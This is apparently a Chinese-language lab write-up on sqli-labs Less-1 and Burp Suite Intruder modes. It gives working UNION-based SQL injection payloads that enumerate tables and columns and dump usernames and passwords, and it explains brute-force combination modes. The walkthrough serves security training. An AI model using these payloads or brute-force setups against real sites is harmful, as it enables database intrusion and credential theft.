文章目录
-
- 1、less-1详解
- 2、BurpSuit使用
-
- [2.1、 Sniper(狙击手)](#2.1、 Sniper(狙击手))
- [2.2、 Battering ram(攻城锤)](#2.2、 Battering ram(攻城锤))
- [2.3、 Pitchfork(草叉)](#2.3、 Pitchfork(草叉))
- [2.4、 Cluster bomb(集束炸弹)](#2.4、 Cluster bomb(集束炸弹))
1、less-1详解
1.1、源码分析
-
函数作用参考官方文档php手册
-
isset --- 检测变量是否已声明并且其值不为 null

-
fopen --- 打开文件或者 URL

-
fopen中的mode 参数指定了所要求到该流的访问类型
| mode | 说明 |
|---|---|
| ' r ' | 只读,将文件指针指向文件头。 |
| ' r+ ' | 读写,将文件指针指向文件头。 |
| ' w ' | 写,将文件指针指向文件头并将文件大小截为零。文件不存在则尝试创建。 |
| ' w+ ' | 读写,否则行为同 'w'。 |
| ' a ' | 写,文件指向文件末尾,文件不存在则尝试创建。fseek() 没有效果,写入总是追加 |
| ' a+ ' | 读写,文件指针指向文件末尾,文件不存在则尝试创建。fseek() 只相应读取位置,写入总是追加 |
- 查询语句

1.2、测试
1.2.1、判断闭合符
- 源码分析出闭合符为单引号
1.2.2、判断列数
-
使用order by

-
出现Unknown column '4' in 'order clause'说明无第四列
1.2.3、判断回显位

- id=-2的目的时让前半条查询查不到任何记录,UNION SELECT的结果才在页面上显示
- 接下来就可以使用函数获取信息

sql
Less-1/?id=-2'union select 1,database(),user();--+
1.2.4、获取表名、列名、密码
- 若开源,直接下载查看即可
- 若此时闭源,则需要进行查询

sql
/Less-1/?id=-2'union select 1,(select table_name from information_schema.tables where table_schema='security'),user();--+
- 直接使用查询会报错Subquery returns more than 1 row,是因为子查询返回了"多行数据",但把它放在了只能放一个值的位置UNION SELECT 的某一列里,解决方法如下两种:
- limit
- 手动更改
- 使用bp进行爆破
在要爆破的字段前add


- 查看返回值不一致的说明爆破成功
- group_concat
- 将分组中的多个值,连接成一个字符串返回。



- 对应的username和password会形成一个字符串
- 将分组中的多个值,连接成一个字符串返回。
sql
#获取表名
/Less-1/?id=-2'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ) ,user();--+
#获取列名
/Less-1/?id=-2'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ) ,user();--+
#获取用户名和密码
/Less-1/?id=-2'union select 1,(select group_concat(username,password) from users ) ,3;--+
2、BurpSuit使用

2.1、 Sniper(狙击手)
-
核心逻辑:单组 Payload,多位置,逐个测试。
-
执行流程:假设有2个位置(如参数A、参数B)和Payload集 [1, 2],则顺序为:先在位置A依次尝试1、2(即 A=1、A=2);再在位置B依次尝试1、2(即 B=1、B=2)。
-
适用场景:适合测试单个位置的多种值,或多个位置但每个位置需独立测试的情况(如分别测试用户名、密码的单个值)。
2.2、 Battering ram(攻城锤)
-
核心逻辑:单组 Payload,多位置,同步填充
-
执行流程:假设有2个位置(参数A、参数B)和Payload集 [1, 2],则顺序为:先将1同时填入A和B(即 A=1 且 B=1);再将2同时填入A和B(即 A=2 且 B=2)。
-
适用场景:适合多个位置需使用相同Payload的情况(如测试多个参数都用同一个用户名)。
2.3、 Pitchfork(草叉)
-
核心逻辑:多组 Payload,每个位置对应不同的Payload集,同时迭代所有Payload集(取每个集的"对应位置"payload)。
-
执行流程:假设位置A的Payload集是 [1, 2],位置B的Payload集是 [a, b],则顺序为:取每个集的第1个A=1 且 B=a);取每个集的第2个(A=2 且 B=b)。
-
适用场景:适合多个位置需对应不同但索引一致的Payload(如用户名列表和密码列表,用户名第1个对应密码第1个)。
2.4、 Cluster bomb(集束炸弹)
-
核心逻辑:多组 Payload,全排列组合。
-
执行流程:假设位置A的Payload集是 [1, 2],位置B的Payload集是 [a, b],则顺序为:A=1 且 B=a;A=1 且 B=b;A=2 且 B=a;A=2 且 B=b。
-
适用场景:适合需要 exhaustive 测试所有组合的情况(如用户名和密码的所有可能组合,组合数量=Paylaod集数量的乘积)。